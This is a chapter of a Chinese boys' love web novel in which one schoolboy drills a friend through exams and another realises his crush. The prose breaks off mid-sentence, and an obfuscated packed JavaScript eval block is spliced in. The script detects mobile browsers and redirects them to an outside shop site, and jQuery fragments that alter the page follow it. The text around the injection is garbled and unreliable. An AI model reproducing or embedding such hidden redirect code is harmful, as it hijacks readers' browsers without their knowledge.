26.男二男五在猫身上栽大跟头

作品:《【快穿】男主今天也走错片场

    傅祝山给他发小逮进车里的理由是发小说带他吃好吃的。但他发小是个骗子,他发小是拿这个最诱饵骗他补课。


    刚刚在麦当劳坐下,他就看见座位上有两套化学物理试卷。


    傅祝山:“……”


    傅祝山单手撑桌,翻过朝门口跑……没成功。


    他发小提前预判,一举给他从咯吱窝下举起来。接着一颠,好像在手里给他炒了一遍。颠起来换成握住他的腰,像举辛巴面朝非洲动物子民现场那样给他抬高。


    傅祝山往地面看,脚跟至少离地半米。霍祁琛把他高举,周围一堆保镖唯恐他从胳膊上摔下,赶紧跟着也举起胳膊。想从不知道体能如何的霍家少爷身上接过他。


    几对胳膊争抢着要抱他,整体画面一时间犹如众生拜佛。


    一众黑墨镜黑西装的成年男人包裹两个长相俊美的少年,这在麦当劳本来就显眼。更不用提现在这幅画面。顾客们汉堡可乐都不吃了,津津有味地看热闹,有人还悄悄地举起手机。


    傅祝山:“……”


    和沉浸在捕捉猫的家伙们不同,酷哥拥有人类的羞耻之心。在陆续经过的人群好奇的目光中憋红脑袋,红色从脖颈一路蔓延到脸。


    “放我下来。”


    他气到拿脚跟踹霍祁琛。


    霍祁琛一点也不躲。


    任由他发小踹他,劲大得很。他闷声吸气,站在原地一动不动。


    “我要放下了你,你不就跑了吗?”


    他很轻地笑。


    坏心眼地感觉偶尔欺负祝山耶不错。


    “天天就想着吃,嗯?”


    “都要吃胖了,看看,今天要再点汉堡我都举不动你了。马上你胖成一颗球,就什么甜点都别想吃了,每天只能吃蔬菜胡萝卜喝粥。”


    当然是谎话。


    再胖点他也能抱动。


    但他就是要吓吓祝山。


    “我没只想吃。”


    傅祝山踹他的力度放轻了。


    虽然反驳得很有力气,但这是他发小。年纪第二,好像每天还在搞什么很厉害的创新。确实是各种方面来看都十分聪明的人,说的话总是带有信服力。


    傅祝山想象了一下自己胖成球的样子。


    “……”


    不要。


    一点也不帅。


    能够幻视两只黑色的猫猫耳朵藏在发顶,萎萎地塌成飞机耳。傅祝山屈服于他对于自己形象的在意:“可以不吃冰淇淋的,我。”


    霍祁琛把他翻过来,一抖。结实地把傅祝山抱了个满怀,轻柔地放在地面。


    “科研报道,动脑也会消耗热量。”他用两只手捧起发小的脸,在他下瘪的唇角揉揉。向上按些,逗他。“我们傅祝山能动吗?有点难是不是?”


    瞧不起谁呢!


    这话也敢对未来的不良少年之王说!


    傅祝山一拍给脸上的手拍掉,面容严肃:“区区试卷。”


    他干劲十足地拿起了试卷。


    ……


    区区…试卷,怎么……这么强。


    两套试卷要了傅祝山半条命,真正做完的时候天都黑了。每次他被看不懂的习题干到头昏脑涨,决定中途战略性撤退,过于熟知他本性的发小就会给他薅走,换家吃。吃完继续写。


    傅祝山就这么被烧烤披萨海底捞打败。成为在美食大王的手下败家。此时已经吐掉半条灵魂,成为融化的史莱姆倒在桌面再起不能。


    “想做到果然能做到。”


    霍祁琛拿红笔在最后一张综合卷上批改,最后写下70分。对比他之前的成绩,这个分数离及格已经不远了。


    “其他科目之后再说。”


    霍给他软趴趴的发小举起来。


    “我给你买的新衣服怎么没穿?”


    内搭的衣领从蓝白色的卫衣里翻出来。霍祁琛给他捋齐,折好摆正。又摸摸卫衣的领口,随口一提:“收缩绳怎么也弄不见了。”


    “给小精灵换蛋糕了。”


    傅祝山随他整理衣服,眼里失去光彩。已经是被试卷支配掉灵魂的猫猫了。


    霍祁琛是知道他发小现在还相信美人鱼存在的,这是他联合霍家宠出来的。傅祝山不怎么喜欢玩手机,信息的穿搭就总是具有落后性。他不打算叫傅祝山知道一些真相,也就故意掩盖。


    所以傅祝山相信有小精灵他也不意外。以为是傅祝明做的手脚,笑着问他怎么换的。


    傅祝山想了想。


    “前几天开始……如果有不想要的东西,放进桌肚里,第二天再去看就会出现好吃的。”


    他把下巴放在桌面,懒懒地打了个哈欠。


    “就和牙仙子一样。”


    霍祁琛听着听着笑容却消失了。


    “是前几天开始一直就有吗?”


    他确认。


    “嗯。”


    傅祝山困意上来了,已经开始眼皮打架。回答的声音也渐渐小起来。


    傅祝明上礼拜开始下午到放学后都在他们家公司加班,不可能有时间摸他哥桌肚。是除了傅祝明以外的人。


    霍祁琛的眼神冷了,一层阴翳蒙过他的眼。声音却和表情截然相反地温柔。


    “给的东西好吃吗?”


    “好吃。”


    傅祝山又打了个哈欠。


    霍祁琛于是没再问。耐心地等他发小睡着,双手从腰向上,自胳膊间穿过,一手托住祝山的屁股,一手稳住他发小的背。霍祁琛这么抱着傅祝山,步履稳健地穿过层层叠叠的保镖。


    在经过最后一人时脚步停留。


    他头也不回,居高临下地命令。


    “查。”


    “如果这次还像上次那样查不出结果,你们自己清楚后果。”


    眉骨都被戾气覆盖。


    最近的风声有问题,霍祁琛是知道的。但无论幕后黑手是谁,他都不该有这个狗胆去碰傅祝山。


    定制的黑色西装把蓝白的卫衣完全藏进外层的大衣中,霍祁琛拿脱下的黑色大衣将傅祝山盖上。目光柔软地扫过安然睡去的脸。


    要是再靠近一点。


    他会被吓到吗?


    霍祁琛想。


    呼吸都暂停了,他小心翼翼地,怕惊扰到傅祝山的睡意。很慢很轻地,最终只在额头留下一个一触即分的吻。


    会吓到的吧。


    胆子那么小。


    所以还是得藏好啊。


    车门打开了,霍祁琛小心地把他发小摆在后座。转身又冷冷补充道。


    “不用留活口。”


    ……


    谢濯恍惚了一整天,第二天上学时惴惴不安地回到他的朋友圈。哪怕确定自己已然因为傅祝山的一句话就赶着向上凑还不死心。


    “有没有一种可能,这是因为我下意识地担心他拿背景压我。”


    谢濯问朋友。


    朋友二号是朋友的同桌。听这话的时候本来还在准备校园祭的剧本,瞬间无语到翻了白眼。


    “哥,你自己看看数学课你笔记本上都写了什么?”


    朋友向前一伸手,赶在谢濯试图捂住本子之前把笔记本夺过来。一翻,在满页的根号和解之后全是傅祝山的名字。


    “我去,男同啊。”


    朋友咂舌。


    “我就是写写!写写不行吗?!他还讲我是他宿敌呢!我写我宿敌名不行?”


    谢濯抓狂。


    朋友二号唱歌:“宿敌就是宿敌啊,宿敌是不能变成妻子的啊——”


    谢濯拿本子堵他嘴。


    朋友的嘴没被堵住。他坏笑:“得了吧,反正刘备不会天天在本子上写曹操。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14450199|151527||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>朋友一锤敲定。


    “你已经完了。”


    他打开手机。


    “来,加我祝门贴。趁你没被隔壁泥宝贴茶毒了。先说好,我们贴支持梦女梦男,但不接受在贴里发贴脸发言,只能是私底下自己偷偷梦。入贴宣言在置顶,好好看。”


    什么怪东西?


    谢濯看过去。


    入眼第一行——


    入我教必宣誓,永不背叛其余教徒,做出亵【蜡烛】之事。


    “这个蜡烛什么?”


    “哦哦,这是祝哥的代称。”朋友给他解释,“毕竟我们要和其他两贴分得明确一点。咱们贴主要是单推人。首先就得明确道心,祝哥就该独美。”


    那怎么能成!


    傅祝山独美他和谁谈恋爱去!


    谢濯一咕噜站起来。


    “你干嘛啊?”朋友二号给他吓得一激灵。


    谢濯往门外跑,“我数学不会写,我宿敌会我找他去!”


    朋友死鱼眼,吐槽:“放屁,你明明就去求偶了。”不懂独美感的没品之人。


    ……


    谢濯找到傅祝山的时候,少年正在跟踪一只流浪猫。


    带着他独有的那种,明明认真却又傻傻的特质,跟在学校的流浪猫后。半张脸缩在蓝白卫衣里,这天已经向深秋迈进,他穿少了,于是两只手都插进衣兜。


    像个弹簧一样蹦蹦跳跳的从台阶上走下去,每一层台阶都会跳一下。头发丝也跟着向上,向下,让他看起来像只蒲公英,又像水母。


    少见的,毫无保留地笑。


    热烈肆意,又像幼稚的小朋友。


    梧桐树叶打着卷儿在风里到处乱飘,明亮的黄在少年的脚边铺出一条路。他踩着清脆响的落叶,大步流星地跟着那只狸花猫。


    天那样的蓝。


    落叶那样的黄。


    少年那样的……那样的透亮。


    就像骤然从最干净的白纸上脱离出来的干净线条,傅祝山周围的空气都是清新的,透凉,透彻心脏的。


    那些朦胧的,抓不住的感觉在此刻有了最明确,最纯粹的定义。


    喜欢。


    两个字在心脏搭桥。


    喜欢。


    落叶化作蝴蝶在他的胃里起舞。


    喜欢。


    牙齿都在微凉的温度里融化成蜂蜜。


    其实不是第一次见面。


    谢濯想。


    所有人都以为他和傅祝山是在这所高中才有的第一次见面。


    其实不是的。


    他们的第一次见面要在这之前更早。


    那是次赛车,封路区的道路超乎以往的曲折危险,赌注一压再压,退出的人却越来越多,剩下为数不多四轮豪车里却出现一辆摩托。


    带着头盔的神秘来者一言不发,整场比赛却以碾压式的车技和堪称不要命的速度夺下冠军。谢濯有意要和这人交个朋友,一场下来肾上腺素还在体内快速分泌,他激动得分不清是因为几次擦肩而过的死亡还是骑手取下头盔后引起无数口哨的脸。


    他扒开拥挤的人群,红色制服的骑手在最中央单手举起奖杯,笑容肆意张扬。像生来就被胜利包围着长大的张狂,明艳到摄人心魄。


    “我叫谢濯,第二名。”


    谢濯颤抖着伸出手。


    “认识一下?”


    笑容被好像知道自己有多好看的主人吝啬地收回去了。银白长发的少年懒懒地在他伸出的掌心一扫,随意地将刚刚得手的奖杯扔给他。将头盔一戴,压下防风板。


    “不要——手下败将。”


    一拧把手,飞扬的衣角自此成为他每夜的梦。触动的感觉一如现在。


    谢濯没有惊扰追着猫的祝山。


    他跟上少年的脚步。


    想谈恋爱的喜欢。